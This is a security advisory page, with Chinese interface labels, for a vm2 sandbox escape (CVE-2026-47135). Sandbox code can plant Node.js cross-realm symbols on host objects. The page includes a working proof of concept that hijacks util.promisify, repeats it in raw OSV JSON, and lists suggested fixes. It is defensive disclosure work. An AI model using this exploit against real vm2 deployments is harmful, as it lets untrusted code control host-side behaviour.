GHSA-M5Q2-4FM3-VFQP高危已审查

vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks

OSV 1.4.0 · github-reviewed · 修改于 2026-06-13 03:30

发布时间

2026-05-30 01:44

GitHub 审查时间

2026-05-30 01:44

NVD 发布时间

2026-06-12 23:16

源文件

advisories/github-reviewed/2026/05/GHSA-m5q2-4fm3-vfqp/GHSA-m5q2-4fm3-vfqp.json

公告说明

Summary

vm2 3.11.2 Symbol.for override in setup-sandbox.js only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's set/defineProperty/deleteProperty traps having no isDangerousCrossRealmSymbol key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full util.promisify hijack chain.

Root Cause

1. Incomplete Symbol.for override (setup-sandbox.js:132-142):

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
    return originalSymbolFor(keyStr); // everything else passes through
};

Only inspect.custom and rejection are blocked. The following 7 Node.js internal symbols pass through as real cross-realm symbols:

nodejs.util.promisify.custom
nodejs.stream.readable
nodejs.stream.writable
nodejs.stream.duplex
nodejs.stream.transform
nodejs.webstream.isClosedPromise
nodejs.webstream.controllerErrorFunction

Note: bridge.js isDangerousCrossRealmSymbol covers promisify.custom on reads, but the Symbol.for override in setup-sandbox does not block it at the source.

2. Missing symbol check in bridge write traps (bridge.js):

The get trap (line 1148) and ownKeys trap (line 1541) both check isDangerousCrossRealmSymbol(key), but set (line 1231), defineProperty (line 1427), and (line 1493) have . Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

3. Incomplete filters in setup-sandbox.js:

isDangerousSymbol(), Object.getOwnPropertyDescriptors override, and Object.assign override only filter inspect.custom and rejection — missing promisify.custom and all stream/webstream symbols.

Verified Exploitation: util.promisify Hijack

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
  const kPromisify = Symbol.for('nodejs.util.promisify.custom');
  hostFn[kPromisify] = function(path) {
    return Promise.resolve('HIJACKED by sandbox');
  };
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"

Additional verified attacks:

Writing nodejs.stream.writable to a host Readable stream, altering its duck-typing identity
Object.assign propagates unblocked symbols from sandbox source to host target
Object.defineProperty with unblocked symbol key succeeds on host objects
delete hostObj[unblocked_symbol] succeeds, removing host-set symbol properties

Semantic confusion: Sandbox controls host util.promisify behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
Data integrity: Host code relying on promisified function results gets sandbox-controlled values.
Defense bypass: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

vm2 <= 3.11.2 (all 3.x versions)

Node.js v24.14.0
macOS (Darwin 25.4.0)

setup-sandbox.js: Block all nodejs.* prefixed symbols:

Symbol.for = function (key) {
    const keyStr = '' + key;
    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
    return originalSymbolFor(keyStr);
};

bridge.js: Add check to write traps:

set(target, key, value, receiver) {
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    // ...
}

setup-sandbox.js: Sync isDangerousSymbol, Object.getOwnPropertyDescriptors, Object.assign to cover all dangerous symbols.

受影响的软件包

npm

vm2

ECOSYSTEM

引入0修复3.11.4

标识信息

别名 / CVE

CVE-2026-47135

CWE

CWE-693

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

原始 OSV JSON

{
  "id": "GHSA-m5q2-4fm3-vfqp",
  "aliases": [
    "CVE-2026-47135"
  ],
  "details": "## Summary\n\nvm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain.\n\n## Root Cause\n\n**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;\n    if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;\n    return originalSymbolFor(keyStr); // everything else passes through\n};\n```\n\nOnly `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:\n\n- `nodejs.util.promisify.custom`\n- `nodejs.stream.readable`\n- `nodejs.stream.writable`\n- `nodejs.stream.duplex`\n- `nodejs.stream.transform`\n- `nodejs.webstream.isClosedPromise`\n- `nodejs.webstream.controllerErrorFunction`\n\nNote: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.\n\n**2. Missing symbol check in bridge write traps** (`bridge.js`):\n\nThe `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.\n\n**3. Incomplete filters in setup-sandbox.js**:\n\n`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols.\n\n## Verified Exploitation: util.promisify Hijack\n\n```js\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function readFile(path, cb) { cb(null, 'real data'); };\nvm.setGlobal('hostFn', hostFn);\n\n// Sandbox writes promisify.custom to host function\nvm.run(`\n  const kPromisify = Symbol.for('nodejs.util.promisify.custom');\n  hostFn[kPromisify] = function(path) {\n    return Promise.resolve('HIJACKED by sandbox');\n  };\n`);\n\n// Host-side: promisified function now returns sandbox-controlled value\nconst asyncRead = util.promisify(hostFn);\nasyncRead('/etc/passwd').then(console.log);\n// Output: \"HIJACKED by sandbox\"\n```\n\n**Additional verified attacks:**\n\n- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity\n- `Object.assign` propagates unblocked symbols from sandbox source to host target\n- `Object.defineProperty` with unblocked symbol key succeeds on host objects\n- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties\n\n## Impact\n\n- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.\n- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.\n- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.\n\nThis is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.\n\n## Affected Versions\n\n- vm2 <= 3.11.2 (all 3.x versions)\n\n## Environment\n\n- Node.js v24.14.0\n- macOS (Darwin 25.4.0)\n\n## Suggested Fix\n\n1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:\n\n```js\nSymbol.for = function (key) {\n    const keyStr = '' + key;\n    if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);\n    return originalSymbolFor(keyStr);\n};\n```\n\n2. **`bridge.js`**: Add check to write traps:\n\n```js\nset(target, key, value, receiver) {\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    // ...\n}\n```\n\n3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.",
  "summary": "vm2 has a sandbox escape via unblocked cross-realm Symbol.for keys + missing bridge write-trap symbol checks",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ]
        }
      ],
      "package": {
        "name": "vm2",
        "ecosystem": "npm"
      },
      "database_specific": {
        "last_known_affected_version_range": "<= 3.11.3"
      }
    }
  ],
  "modified": "2026-06-12T19:30:01Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N"
    }
  ],
  "published": "2026-05-29T17:44:32Z",
  "references": [
    {
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5q2-4fm3-vfqp",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47135",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/patriksimek/vm2/commit/928aef51898b5c52a05f05a40c4cfeb52e172878",
      "type": "WEB"
    },
    {
      "url": "https://github.com/patriksimek/vm2",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": "2026-06-12T15:16:28Z",
    "github_reviewed_at": "2026-05-29T17:44:32Z"
  }
}